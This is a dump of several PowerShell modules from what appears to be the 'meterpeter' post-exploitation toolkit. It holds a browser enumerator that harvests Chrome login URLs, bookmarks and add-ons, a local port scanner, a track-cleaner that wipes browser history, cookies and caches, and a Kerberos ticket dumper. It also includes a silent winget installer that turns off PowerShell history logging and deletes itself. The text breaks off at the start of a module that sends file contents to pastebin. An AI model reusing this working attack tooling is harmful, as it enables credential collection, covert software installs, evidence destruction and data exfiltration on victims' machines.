If(-not(Test-Path -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Bookmarks")) {
echo "{Could not find any Bookmarks}" >> $LogFilePath\BrowserEnum.log
}else{
$Json = Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Bookmarks"
$Output = ConvertFrom-Json20($Json) ## TODO:
$Jsonobject = $Output.roots.bookmark_bar.children
$Jsonobject.url|Sort -Unique|ForEach-Object {
if ($_ -match $Search) {
echo "$_" >> $LogFilePath\BrowserEnum.log
}
}
}
## Retrieve Chrome URL logins
echo "`nEnumerating LogIns" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data")){
echo "{None URL's found}" >> $LogFilePath\BrowserEnum.log
}else{
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$ReadData = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
$Json = Get-Content -Path "$ReadData"|Select-String -AllMatches $Regex |% {($_.Matches).Value} |Sort -Unique
echo $Json >> $LogFilePath\BrowserEnum.log
}
}
function ADDONS {
## Retrieve IE addons
echo "`n`n[ IE|MSEDGE ]" >> $LogFilePath\BrowserEnum.log
echo "`nName" >> $LogFilePath\BrowserEnum.log
echo "----" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Ext\Settings")){
echo "{None addons found}" >> $LogFilePath\BrowserEnum.log
}else{
If(-not(Test-Path HKCR:)){New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT|Out-Null}
$Registry_Keys = @( "HKCU:\Software\Microsoft\Windows\CurrentVersion\Ext\Settings",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects",
"HKLM:\Software\Microsoft\Internet Explorer\URLSearchHooks",
"HKLM:\Software\Microsoft\Internet Explorer\Extensions",
"HKCU:\Software\Microsoft\Internet Explorer\Extensions" )
$Registry_Keys|Get-ChildItem -Recurse -ErrorAction SilentlyContinue|Select -ExpandProperty PSChildName |
ForEach-Object {
If(Test-Path "HKCR:\CLSID\$_"){
$CLSID = Get-ItemProperty -Path "HKCR:\CLSID\$_" | Select-Object @{n="Name";e="(default)"}
$CLSIData = $CLSID -replace '@{Name=','' -replace '}',''
echo "$CLSIData" >> $LogFilePath\BrowserEnum.log
}
}
}
## Retrieve firefox addons
echo "`n`n[ Firefox ]" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\extensions.json")){
$Bookmarks_Path = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\extensions.json" # (IEFP)
If(-not(Test-Path "$Bookmarks_Path")){
echo "{None addons found}" >> $LogFilePath\BrowserEnum.log
}else{
$Bookmarks_Path = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\extensions.json" # (IEFP)
$Json = Get-Content "$Bookmarks_Path" -Raw|ConvertFrom-Json|select *
$Json.addons|select-object -property defaultLocale|Select-Object -ExpandProperty defaultLocale|Select-Object Name,description >> $LogFilePath\BrowserEnum.log
}
}else{
$Bookmarks_Path = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\extensions.json"
$Json = Get-Content "$Bookmarks_Path" -Raw|ConvertFrom-Json|select *
$Json.addons|select-object -property defaultLocale|Select-Object -ExpandProperty defaultLocale|Select-Object Name,description >> $LogFilePath\BrowserEnum.log
}
## Retrieve Chrome addons
echo "`n`n[ Chrome ]" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "\\$env:COMPUTERNAME\c$\users\*\appdata\local\Google\Chrome\User Data\Default\Extensions\*\*\manifest.json" -ErrorAction SilentlyContinue)){
echo "{None addons found}" >> $LogFilePath\BrowserEnum.log
}else{
$Json = Get-Content "\\$env:COMPUTERNAME\c$\users\*\appdata\local\Google\Chrome\User Data\Default\Extensions\*\*\manifest.json" -Raw -ErrorAction SilentlyContinue|ConvertFrom-Json|select *
$Json|select-object -property name,version,update_url >> $LogFilePath\BrowserEnum.log
}
}
## Function tcp port scanner
function PORTSCANNER {
[int]$counter = 0
If(-not($param2)){$PortRange = "21,22,23,25,80,110,135,137,139,443,445,666,1433,3389,8080"}else{$PortRange = $param2}
$Remote_Host = (Test-Connection -ComputerName (hostname) -Count 1 -ErrorAction SilentlyContinue).IPV4Address.IPAddressToString
echo "`n`nRemote-Host Status Proto Port" >> $LogFilePath\BrowserEnum.log
echo "----------- ------ ----- ----" >> $LogFilePath\BrowserEnum.log
$PortRange -split(',')|Foreach-Object -Process {
If((Test-NetConnection $Remote_Host -Port $_ -WarningAction SilentlyContinue).tcpTestSucceeded -eq $true){
echo "$Remote_Host Open tcp $_ *" >> $LogFilePath\BrowserEnum.log
$counter++
}else{
echo "$Remote_Host Closed tcp $_" >> $LogFilePath\BrowserEnum.log
}
}
echo "`nTotal open tcp ports found => $counter" >> $LogFilePath\BrowserEnum.log
}
## Function browser cleaner
function BROWSER_CLEANTRACKS {
[int]$DaysToDelete = 0 # delete all files less than the current date ..
If($RUIUIUi0 -iMatch '^(yes)$')
{
## Global cleaning
ipconfig /flushdns|Out-Null
C:\Windows\System32\rundll32.exe InetCpl.cpl, ClearMyTracksByProcess 1|Out-Null # Clear History
C:\Windows\System32\rundll32.exe InetCpl.cpl, ClearMyTracksByProcess 2|Out-Null # Clear Cookies
C:\Windows\System32\rundll32.exe InetCpl.cpl, ClearMyTracksByProcess 8|Out-Null # Clear Temporary Files
# C:\Windows\System32\rundll32.exe InetCpl.cpl, ClearMyTracksByProcess 255|Out-Null # Clear cookies, history data, internet files, and passwords
}
## Clean Internet Explorer temporary files
echo " [IE|MsEdge Browser]" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Microsoft\Windows\WER\ERC" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Microsoft\Windows\INetCache" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Microsoft\Windows\INetCookies" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Microsoft\Windows\IEDownloadHistory" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Microsoft\Windows\Temporary Internet Files" >> $LogFilePath\BrowserEnum.log
echo " ----------------------" >> $LogFilePath\BrowserEnum.log
## Common locations
$TempFiles = "$Env:LOCALAPPDATA\Microsoft\Windows\WER\ERC"
$InetCache = "$Env:LOCALAPPDATA\Microsoft\Windows\INetCache"
$Cachecook = "$Env:LOCALAPPDATA\Microsoft\Windows\INetCookies"
$CacheDown = "$Env:LOCALAPPDATA\Microsoft\Windows\IEDownloadHistory"
$CacheFile = "$Env:LOCALAPPDATA\Microsoft\Windows\Temporary Internet Files"
## Locations Recursive Query
$RemoveMe = (Get-ChildItem -Path "$CacheFile","$TempFiles","$InetCache","$Cachecook","$CacheDown" -Recurse -EA SilentlyContinue|Where-Object { ($_.CreationTime -lt $(Get-Date).AddDays(-$DaysToDelete)) -and $_.PSIsContainer -eq $false }).FullName
If(-not([string]::IsNullOrEmpty($RemoveMe)))
{
ForEach($Item in $RemoveMe)
{
## Delete selected files
$NameOnly = (Get-ChildItem -Path "$Item" -EA SilentlyContinue).Name
echo " Deleted:: $NameOnly" >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$Item" -Force -EA SilentlyContinue
}
}
Else
{
echo " None temp files found." >> $LogFilePath\BrowserEnum.log
}
## Clean Mozilla Firefox temporary files
echo "`n`n [FireFox Browser]" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default\cache" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default\cache2\entries" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries" >> $LogFilePath\BrowserEnum.log
echo " ----------------------" >> $LogFilePath\BrowserEnum.log
## Common locations
$CacheFile = "$Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default\cache"
$TempFiles = "$Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache"
$OutraFile = "$Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default\cache2\entries"
$IefpFiles = "$Env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries"
## Locations Recursive Query
$RemoveMe = (Get-ChildItem -Path "$CacheFile","$TempFiles","$OutraFile","$IefpFiles" -Recurse -EA SilentlyContinue|Where-Object { ($_.CreationTime -lt $(Get-Date).AddDays(-$DaysToDelete)) -and $_.PSIsContainer -eq $false }).FullName
If(-not([string]::IsNullOrEmpty($RemoveMe)))
{
ForEach($Item in $RemoveMe)
{
## Delete selected files
$NameOnly = (Get-ChildItem -Path "$Item" -EA SilentlyContinue).Name
echo " Deleted:: $NameOnly" >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$Item" -Force -EA SilentlyContinue
}
}
Else
{
echo " None temp files found." >> $LogFilePath\BrowserEnum.log
}
## Clean Google Chrome temporary files
echo "`n`n [Chrome Browser]" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Google\Chrome\User Data\Default\VisitedLinks" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache2\entries" >> $LogFilePath\BrowserEnum.log
echo " ----------------------" >> $LogFilePath\BrowserEnum.log
## Common locations
$CacheFile = "$Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache"
$Cachecook = "$Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
$Cachehist = "$Env:LOCALAPPDATA\Google\Chrome\User Data\Default\History"
$Cachelink = "$Env:LOCALAPPDATA\Google\Chrome\User Data\Default\VisitedLinks"
$TempFiles = "$Env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache2\entries"
## Locations Recursive Query
$RemoveMe = (Get-ChildItem -Path "$CacheFile","$Cachecook","$Cachehist","$Cachelink","$TempFiles" -Recurse -EA SilentlyContinue|Where-Object{ ($_.CreationTime -lt $(Get-Date).AddDays(-$DaysToDelete)) -and $_.PSIsContainer -eq $false }).FullName
If(-not([string]::IsNullOrEmpty($RemoveMe)))
{
ForEach($Item in $RemoveMe)
{
## Delete selected files
$NameOnly = (Get-ChildItem -Path "$Item" -EA SilentlyContinue).Name
echo " Deleted:: $NameOnly" >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$Item" -Force -EA SilentlyContinue
}
}
Else
{
echo " None temp files found." >> $LogFilePath\BrowserEnum.log
}
## Clean Opera temporary files
echo "`n`n [Opera Browser]" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\Opera Software\Opera GX Stable\Cache\Cache_Data" >> $LogFilePath\BrowserEnum.log
echo " ----------------------" >> $LogFilePath\BrowserEnum.log
## Common locations
$OpCache = "$Env:LOCALAPPDATA\Opera Software"
$OpName = (Get-ChildItem -Path "$OpCache" -Recurse -Force|Where-Object {$_.PSIsContainer -eq $true -and $_.Name -match "^(Cache)$"}).FullName
## Locations Recursive Query
$OpClean = (Get-ChildItem -Path "${OpName}\Cache_Data"|Where-Object {$_.PSIsContainer -eq $false -and $_.Name -ne "index"}).FullName
If(-not([string]::IsNullOrEmpty($OpClean)))
{
ForEach($Item in $OpClean)
{
## Delete selected files
$NameOnly = (Get-ChildItem -Path "$Item" -EA SilentlyContinue).Name
echo " Deleted:: $NameOnly" >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$Item" -Force -EA SilentlyContinue
}
}
Else
{
echo " None temp files found." >> $LogFilePath\BrowserEnum.log
}
## Clean Brave temporary files
echo "`n`n [Brave Browser]" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\BraveSoftware\User Data\Default\Cache" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\BraveSoftware\Brave-Browser\UserData\Default" >> $LogFilePath\BrowserEnum.log
echo " $Env:LOCALAPPDATA\BraveSoftware\User Data\Default\Cache\Cache_Data" >> $LogFilePath\BrowserEnum.log
echo " ----------------------" >> $LogFilePath\BrowserEnum.log
## Common locations
$OpCache = "$Env:LOCALAPPDATA\BraveSoftware\User Data\Default\Cache"
$OpUserd = "$Env:LOCALAPPDATA\BraveSoftware\Brave-Browser\UserData\Default"
$OpDatas = "$Env:LOCALAPPDATA\BraveSoftware\User Data\Default\Cache\Cache_Data"
## Locations Recursive Query
$OpClean = (Get-ChildItem -Path "${OpCache}","${OpDatas}","${OpUserd}"|Where-Object {$_.PSIsContainer -eq $false}).FullName
If(-not([string]::IsNullOrEmpty($OpClean)))
{
ForEach($Item in $OpClean)
{
## Delete selected files
$NameOnly = (Get-ChildItem -Path "$Item" -EA SilentlyContinue).Name
echo " Deleted:: $NameOnly" >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$Item" -Force -EA SilentlyContinue
}
}
Else
{
echo " None temp files found." >> $LogFilePath\BrowserEnum.log
}
}
## Jump Links (Functions)
If($param1 -eq "-IE"){IE_Dump}
If($param1 -eq "-CHROME"){CHROME}
If($param1 -eq "-ADDONS"){ADDONS}
If($param1 -eq "-FIREFOX"){FIREFOX}
If($param1 -eq "-OPERA"){OPERA}
If($param1 -eq "-CREDS"){CREDS_DUMP}
If($param1 -eq "-SCAN"){PORTSCANNER}
If($param1 -eq "-RECON"){BROWSER_RECON}
If($param1 -eq "-CLEAN"){BROWSER_CLEANTRACKS}
If($param1 -eq "-ALL"){BROWSER_RECON;IE_Dump;FIREFOX;CHROME;OPERA}
## NOTE: ForEach - Build PSObject displays ..
# $StoreData = ForEach ($Key in $Input_String){
# New-Object -TypeName PSObject -Property @{
# Data = $Key
# }
# }
# Write-Host $StoreData|Out-File "$env:tmp\report.log"
## Retrieve Remote Info from LogFile
Write-Host ""
Get-Content "$LogFilePath\BrowserEnum.log"
Remove-Item -Path "$LogFilePath\BrowserEnum.log" -Force
Exit
================================================
FILE: mimiRatz/GetKerbTix.ps1
================================================
#************************************************
# GetKerbTix.ps1
# Version 1.0
# Date: 6-11-2014
# Author: Tim Springston [MSFT]
# Description: On a specific computer the script is ran on,
# this script finds all logon sessions which have Kerberos
# tickets cached and enumerates the tickets and any ticket granting tickets.
# The tickets may be from remote or interactive users and may be
# any logon type session (network, batch, interactive, remote interactive...).
# This script will run on Windows Server 2008/Vista and later.
#************************************************
$FormatEnumerationLimit = -1
$ComputerName = $env:COMPUTERNAME
$UserName = [Security.Principal.WindowsIdentity]::GetCurrent().name
try{#Supress Domain not foud outputs
$ComputerDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().name
}catch{}
$Date = Get-Date
#Prepare an output file to place info into.
$ExportFile = "C:\windows\temp\" + $ComputerName + "_CachedKerberosTickets.txt"
"Cached Kerberos Tickets" | Out-File $ExportFile -Encoding utf8
"Logged on User:$UserName" | Out-File $ExportFile -Append -Encoding utf8
"Computer name: $ComputerName" | Out-File $ExportFile -Append -Encoding utf8
"Computer Domain: $ComputerDomain" | Out-File $ExportFile -Append -Encoding utf8
"Date: $Date" | Out-File $ExportFile -Append -Encoding utf8
"************************************" | Out-File $ExportFile -Append -Encoding utf8
function GetKerbSessions
{
$Sessions = @()
$WMILogonSessions = gwmi win32_LogonSession
foreach ($WMILogonSession in $WMILogonSessions)
{
$LUID = [Convert]::ToString($WMILogonSession.LogonID, 16)
$LUID = '0x' + $LUID
$Sessions += $LUID
}
return $sessions
}
function GetKerbSessionInfo
{
$OS = gwmi win32_operatingsystem
$sessions = New-Object PSObject
if ($OS.Buildnumber -ge 9200)
{
$KlistSessions = klist sessions
$Counter = 0
foreach ($item in $KlistSessions)
{
if ($item -match "^\[.*\]")
{
$LogonId = $item.split(' ')[3]
$LogonId = $LogonId.Replace('0:','')
$Identity = $item.split(' ')[4]
$Token5 = $item.Split(' ')[5]
$AuthnMethod = $Token5.Split(':')[0]
$LogonType = $Token5.Split(':')[1]
$Session = New-Object PSObject
Add-Member -InputObject $Session -MemberType NoteProperty -Name "SessionID" -Value $LogonId
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Identity" -Value $Identity
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Authentication Method" -Value $AuthnMethod
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Logon Type" -Value $LogonType
Add-Member -InputObject $sessions -MemberType NoteProperty -Name $LogonId -Value $Session
$Session = $null
}
}
}
if ($OS.Buildnumber -lt 9200)
{
$WMILogonSessions = gwmi win32_LogonSession
foreach ($WMILogonSession in $WMILogonSessions)
{
$LUID = [Convert]::ToString($WMILogonSession.LogonID, 16)
$LUID = '0x' + $LUID
$Session = New-Object PSObject
Add-Member -InputObject $Session -MemberType NoteProperty -Name "SessionID" -Value $LUID
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Identity" -Value "Not available"
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Authentication Method" -Value $WMILogonSession.AuthenticationPackage
Add-Member -InputObject $Session -MemberType NoteProperty -Name "Logon Type" -Value $WMILogonSession.LogonType
Add-Member -InputObject $sessions -MemberType NoteProperty -Name $LUID -Value $Session
$Session = $null
}
}
return $sessions
}
function ReturnSessionTGTs
{
param ($SessionID = $null)
if ($SessionID -eq $null)
{
$RawTGT = klist.exe tgt
}
else
{
$RawTGT = klist.exe tgt -li $sessionID
}
$TGT = @()
foreach ($Line in $RawTGT)
{
if ($Line.length -ge 1)
{
$TGT += $Line
}
}
if ($TGT -contains 'Error calling API LsaCallAuthenticationPackage (Ticket Granting Ticket substatus): 1312')
{$TGT = 'No ticket granting ticket cached in session.'}
return $TGT
}
function ReturnSessionTickets
{
param ($SessionID = $null)
$OS = gwmi win32_operatingsystem
if ($SessionID -eq $null)
{
$TicketsArray = klist.exe tickets
}
else
{
$TicketsArray = klist.exe tickets -li $sessionID
}
$Counter = 0
$TicketsObject = New-Object PSObject
foreach ($line in $TicketsArray)
{
if ($line -match "^#\d")
{
$Ticket = New-Object PSObject
$Number = $Line.Split('>')[0]
$Line1 = $Line.Split('>')[1]
$TicketNumber = "Ticket " + $Number
$Client = $Line1 ; $Client = $Client.Replace('Client:','') ; $Client = $Client.Substring(2)
$Server = $TicketsArray[$Counter+1]; $Server = $Server.Replace('Server:','') ;$Server = $Server.substring(2)
$KerbTicketEType = $TicketsArray[$Counter+2];$KerbTicketEType = $KerbTicketEType.Replace('KerbTicket Encryption Type:','');$KerbTicketEType = $KerbTicketEType.substring(2)
$TickFlags = $TicketsArray[$Counter+3];$TickFlags = $TickFlags.Replace('Ticket Flags','');$TickFlags = $TickFlags.substring(2)
$StartTime = $TicketsArray[$Counter+4];$StartTime = $StartTime.Replace('Start Time:','');$StartTime = $StartTime.substring(2)
$EndTime = $TicketsArray[$Counter+5];$EndTime = $EndTime.Replace('End Time:','');$EndTime = $EndTime.substring(4)
$RenewTime = $TicketsArray[$Counter+6];$RenewTime = $RenewTime.Replace('Renew Time:','');$RenewTime = $RenewTime.substring(2)
$SessionKey = $TicketsArray[$Counter+7];$SessionKey = $SessionKey.Replace('Session Key Type:','');$SessionKey = $SessionKey.substring(2)
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Client" -Value $Client
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Server" -Value $Server
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "KerbTicket Encryption Type" -Value $KerbTicketEType
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Ticket Flags" -Value $TickFlags
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Start Time" -Value $StartTime
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "End Time" -Value $EndTime
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Renew Time" -Value $RenewTime
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Session Key Type" -Value $SessionKey
if ($OS.BuildNumber -ge 9200)
{
$CacheFlags = $TicketsArray[$Counter+8];$CacheFlags = $CacheFlags.Replace('Cache Flags:','');$CacheFlags = $CacheFlags.substring(2)
$KDCCalled = $TicketsArray[$Counter+9];$KDCCalled = $KDCCalled.Replace('Kdc Called:','');$KDCCalled = $KDCCalled.substring(2)
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "Cache Flags" -Value $CacheFlags
Add-Member -InputObject $Ticket -MemberType NoteProperty -Name "KDC Called" -Value $KDCCalled
}
Add-Member -InputObject $TicketsObject -MemberType NoteProperty -Name $TicketNumber -Value $Ticket
$Ticket = $null
}
$Counter++
}
return $TicketsObject
}
$OS = gwmi win32_operatingsystem
$sessions = getkerbsessions
$sessioninfo = GetKerbSessionInfo
foreach ($Session in $sessions)
{
#Get Session details as well
$currentsessioninfo = $sessioninfo.$session
$ID = $currentsessioninfo.identity
$SessionID = $currentsessioninfo.SessionID
$LogonType = $currentsessioninfo.'Logon Type'
$AuthMethod = $currentsessioninfo.'Authentication Method'
if ($OS.Buildnumber -lt 9200)
{
Write-Host "Kerberos Tickets for LogonID $SessionID"
"Kerberos Tickets for LogonID $SessionID" | Out-File $ExportFile -Append -Encoding utf8
}
else
{
Write-Host "Kerberos Tickets for $ID"
"Kerberos Tickets for $ID" | Out-File $ExportFile -Append -Encoding utf8
}
Write-Host "*****************************"
"*****************************" | Out-File $ExportFile -Append -Encoding utf8
Write-Host "Logon Type: $LogonType"
"Logon Type: $LogonType" | Out-File $ExportFile -Append -Encoding utf8
Write-host "Session ID: $SessionID"
"Session ID: $SessionID" | Out-File $ExportFile -Append -Encoding utf8
Write-host "Auth Method: $AuthMethod"
"Auth Method: $AuthMethod" | Out-File $ExportFile -Append -Encoding utf8
$SessionTickets = ReturnSessionTickets $Session
$TGT = ReturnSessionTGTs $SessionID
$TGT | FL *
$TGT | Out-File $ExportFile -Append -Encoding utf8
if ($SessionTickets -notmatch 'Ticket')
{
Write-Host "Session TGT: No tickets for this session in cache."
"Session TGT: No tickets for this session in cache." | Out-File $ExportFile -Append -Encoding utf8
}
else
{
$SessionTickets | FL *
$SessionTickets | FL * | Out-File $ExportFile -Append -Encoding utf8
}
Write-Host "`n"
"`n" | Out-File $ExportFile -Append -Encoding utf8
}
#Clean artifacts left behind
Remove-Item -Path "$ExportFile" -Force
================================================
FILE: mimiRatz/Invoke-Winget.ps1
================================================
<#
.SYNOPSIS
[Silent] manage applications from microsoft store
Author: @r00t-3xp10it
Tested Under: Windows 10 (19044) x64 bits
Required Dependencies: WinGet, UserLand
Optional Dependencies: none
PS cmdlet Dev version: v1.0.4
.DESCRIPTION
Auxiliary Module of meterpeter v2.10.13 that invokes winget command line
tool that enables users to list, discover, install, uninstall applications
in silent mode under windows 10 (build >16299) or 11 operative system versions.
.NOTES
When running winget without administrator privileges, some applications may
require elevation to install. When the installer runs, Windows will prompt
you to elevate. If you choose not to elevate application will fail install.
.Parameter Action
list, discover, install, uninstall (default: list)
.Parameter Program
The application name (default: off)
.Parameter Id
The application ID (default: off)
.Parameter AutoDelete
Delete cmdlet in the end? (default: off)
.Parameter Force
Install winget application on local computer!
.EXAMPLE
PS C:\> .\Invoke-Winget.ps1 -force
Install winget appl on local computer!
.EXAMPLE
PS C:\> .\Invoke-Winget.ps1 -action 'list'
List installed applications of local computer
.EXAMPLE
PS C:\> .\Invoke-Winget.ps1 -action 'discover' -Program 'games'
Search in msstore for applications named 'games' to install
.EXAMPLE
PS C:\> .\Invoke-Winget.ps1 -action 'install' -Program 'Python 3.11' -Id '9NRWMJP3717K'
Silent install program 'Python 3.11' with ID '9NRWMJP3717K' from microsoft store
.EXAMPLE
PS C:\> .\Invoke-Winget.ps1 -action 'uninstall' -Program 'Python 3.11' -Id '9NRWMJP3717K'
Silent Uninstall program 'Python 3.11' with ID '9NRWMJP3717K' from local computer
.INPUTS
None. You cannot pipe objects into Invoke-Winget.ps1
.OUTPUTS
* Manage applications from microsoft store.
Nome ID Versão
---------------------------------------------------------------------------------------------
Netflix 4DF9E0F8.Netflix_mcm4njqhnhss8 6.98.1805.0
ShareX ShareX.ShareX 13.4.0
AMD Software AMD Catalyst Install Manager 9.0.000.8
MyASUS-Service Center B9ECED6F.MyASUS_qmba6cd70vzyy 3.3.11.0
ASUS ZenLink B9ECED6F.ZenSync_qmba6cd70vzyy 1.0.7.0
Battle.net Battle.net Unknown
Conexant HD Audio CNXT_AUDIO_HDA 8.66.95.69
.LINK
https://github.com/r00t-3xp10it/meterpeter
https://learn.microsoft.com/en-us/windows/package-manager/winget
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$AutoDelete="off",
[string]$Program="off",
[string]$Action="list",
[string]$Id="off",
[int]$Delay='1700',
[switch]$Force
)
$cmdletver = "v1.0.4"
$ErrorActionPreference = "SilentlyContinue"
## Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
$OperativeSystem = [System.Environment]::OSVersion.Version
$host.UI.RawUI.WindowTitle = "@Invoke-WinGet $cmdletver"
If($AutoDelete -iMatch '^(off)$')
{
write-host "* Manage applications from microsoft store.`n" -ForegroundColor Green
}
## Check operative system version
$OsVersion = $OperativeSystem.Major
If(-not($OsVersion -match '^(10|11)$'))
{
write-host " > Error: Operative system version '$OsVersion' not suported!`n" -ForegroundColor Red
return
}
## Check operative system build
$OsBuild = $OperativeSystem.Build
If(($OsVersion -match '^(10)$') -and ($OsBuild -lt "16299"))
{
write-host " > Error: Operative system build '$OsBuild' not suported!`n" -ForegroundColor Red
return
}
## Make sure Winget application is installed
$CheckInstall = (Get-Command "winget" -EA SilentlyContinue).Source
If([string]::IsNullOrEmpty($CheckInstall))
{
If($Force.IsPresent)
{
## Download and install winget application using the latest release available.
Add-AppxPackage "https://github.com/microsoft/winget-cli/releases/latest/download/Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle"
}
Else
{
write-host " > Error: Command line tool 'winget' missing!`n" -ForegroundColor Red
return
}
}
If($Action -iMatch '^(list)$')
{
<#
.SYNOPSIS
list installed packets [local PC]
:meterpeter:post:msstore> list
#>
## Command
winget list
}
If($Action -iMatch '^(discover)$')
{
<#
.SYNOPSIS
search for application [msstore]
:meterpeter:post:msstore> discover
#>
## Cmdlet parameters checks
If($Program -iMatch 'off')
{
write-host " > Error: -program parameter required!`n" -ForegroundColor Red
return
}
## Search for pacakage in microsoft store
winget search --name "$Program" --exact|Out-File -FilePath "$Env:TMP\Skynet.log" -Force
$Pacakage = (Get-Content -Path "$Env:TMP\Skynet.log"|Select-String -Pattern "$Program")
If([string]::IsNullOrEmpty($Pacakage))
{
write-host " > Error: program '$Program' not found in msstore!`n" -ForegroundColor Red
}
Else
{
## Sanitize command output
$SanitizeOutput = (Get-Content -Path "$Env:TMP\Skynet.log") -replace '(\\|/|£)',''
echo $SanitizeOutput
}
## CleanUp
Remove-Item -Path "$Env:TMP\Skynet.log" -Force
}
If($Action -iMatch '^(install)$')
{
<#
.SYNOPSIS
Install application [msstore]
:meterpeter:post:msstore> install
.NOTES
Parameters -program and -id are mandatory
#>
## Cmdlet parameters checks
If(($Program -iMatch 'off') -or ($Id -iMatch 'off'))
{
write-host " > Error: -program and -id parameters required!`n" -ForegroundColor Red
return
}
## Search for Pacakage in microsoft store
$IsAvailable = (Winget search --name "$Program" --exact|Select-String -Pattern "$Program")
If([string]::IsNullOrEmpty($IsAvailable))
{
write-host " > Error: program '$Program' not found in msstore!`n" -ForegroundColor Red
return
}
## Silent install program from microsoft store
winget install --name "$Program" --id "$Id" --silent --force --accept-package-agreements --accept-source-agreements --disable-interactivity
If($? -match 'false')
{
write-host "`n > Fail: Installing -program '$Program' -id '$Id' from msstore`n" -ForegroundColor Red
return
}
}
If($Action -iMatch '^(uninstall)$')
{
<#
.SYNOPSIS
Uninstall application [local PC]
:meterpeter:post:msstore> uninstall
.NOTES
Parameters -program and -id are mandatory
#>
## Cmdlet parameters checks
If(($Program -iMatch 'off') -or ($Id -iMatch 'off'))
{
write-host " > Error: -program and -id parameters required!`n" -ForegroundColor Red
return
}
## Search for Pacakage locally
$IsAvailable = (Winget list|Select-String -Pattern "$Program")
If([string]::IsNullOrEmpty($IsAvailable))
{
write-host " > Error: program '$Program' not found! [local]`n" -ForegroundColor Red
return
}
## Silent Uninstall program from local machine
winget uninstall --name "$Program" --id "$Id" --silent --force --purge --disable-interactivity
If($? -match 'false')
{
write-host "`n > Fail: Uninstalling -program '$Program' -id '$Id' [local]`n" -ForegroundColor Red
return
}
}
## Give extra time to finish tasks
Start-Sleep -Milliseconds $Delay
## CleanUp
If($AutoDelete -iMatch '^(on)$')
{
## Auto Delete this cmdlet in the end ...
Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
}
================================================
FILE: mimiRatz/SendToPasteBin.ps1
================================================
<#
.SYNOPSIS
Get filepath contents and paste it to pastebin.
Author: @r00t-3xp10it
Tested Under: Windows 10 (19042) x64 bits
Required Dependencies: Inv`oke-We`bRequ`est {native}
Optional Dependencies: Out-PasteBin.ps1 {auto}
PS cmdlet Dev version: v1.1.5
.DESCRIPTION
Uses Out-PasteBin.ps1 cmdlet to take the contents of -filepath 'string'
